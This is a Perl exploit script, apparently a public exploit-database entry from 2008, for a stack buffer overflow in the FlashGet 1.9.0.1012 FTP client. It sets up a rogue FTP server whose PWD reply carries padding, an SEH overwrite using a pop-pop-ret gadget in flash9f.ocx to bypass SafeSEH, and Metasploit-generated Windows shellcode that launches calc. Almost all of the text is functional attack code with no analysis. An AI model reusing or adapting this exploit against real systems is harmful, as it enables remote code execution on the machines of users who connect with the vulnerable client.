FlashGet 1.9.0.1012 (FTP PWD Response) BOF Exploit (safeseh)

#!/usr/bin/perl
# k`sOSe 08/17/2008
# bypass safeseh using flash9f.ocx. use warnings;
use strict;
use IO::Socket; # win32_exec - EXITFUNC=seh CMD=calc Size=160 Encoder=PexFnstenvSub http://metasploit.com
my $shellcode =
"\x31\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x6b".
"\xa3\x03\x10\x83\xeb\xfc\xe2\xf4\x97\x4b\x47\x10\x6b\xa3\x88\x55".
"\x57\x28\x7f\x15\x13\xa2\xec\x9b\x24\xbb\x88\x4f\x4b\xa2\xe8\x59".
"\xe0\x97\x88\x11\x85\x92\xc3\x89\xc7\x27\xc3\x64\x6c\x62\xc9\x1d".
"\x6a\x61\xe8\xe4\x50\xf7\x27\x14\x1e\x46\x88\x4f\x4f\xa2\xe8\x76".
"\xe0\xaf\x48\x9b\x34\xbf\x02\xfb\xe0\xbf\x88\x11\x80\x2a\x5f\x34".
"\x6f\x60\x32\xd0\x0f\x28\x43\x20\xee\x63\x7b\x1c\xe0\xe3\x0f\x9b".
"\x1b\xbf\xae\x9b\x03\xab\xe8\x19\xe0\x23\xb3\x10\x6b\xa3\x88\x78".
"\x57\xfc\x32\xe6\x0b\xf5\x8a\xe8\xe8\x63\x78\x40\x03\x53\x89\x14".
"\x34\xcb\x9b\xee\xe1\xad\x54\xef\x8c\xc0\x62\x7c\x08\xa3\x03\x10";
my $sock = IO::Socket::INET->new( LocalAddr => '0.0.0.0', LocalPort => '21', Listen => 1, Reuse => 1); while(my $csock = $sock->accept())
{ print $csock "220 Hello ;)\r\n";
read_sock($csock); print $csock "331 pwd please\r\n";
read_sock($csock); print $csock "230 OK\r\n";
read_sock($csock); print $csock "250 CWD command successful.\r\n";
read_sock($csock); print $csock "257 " . "\x22" .
"\x41" x 324 . "\xEB\x06\x90\x90" . # jump ahead
"\x82\x01\x02\x30" . # pop,pop,ret @ flash9f.ocx, thanks macromedia for avoiding /SAFESEH ;) $shellcode . "\x90" x 840 .
"\x22" .
" is current directory.\r\n"; close($csock);
exit;
} sub read_sock
{
my ($sock) = @_; my $buf = <$sock>; print "[client] -> $buf"; }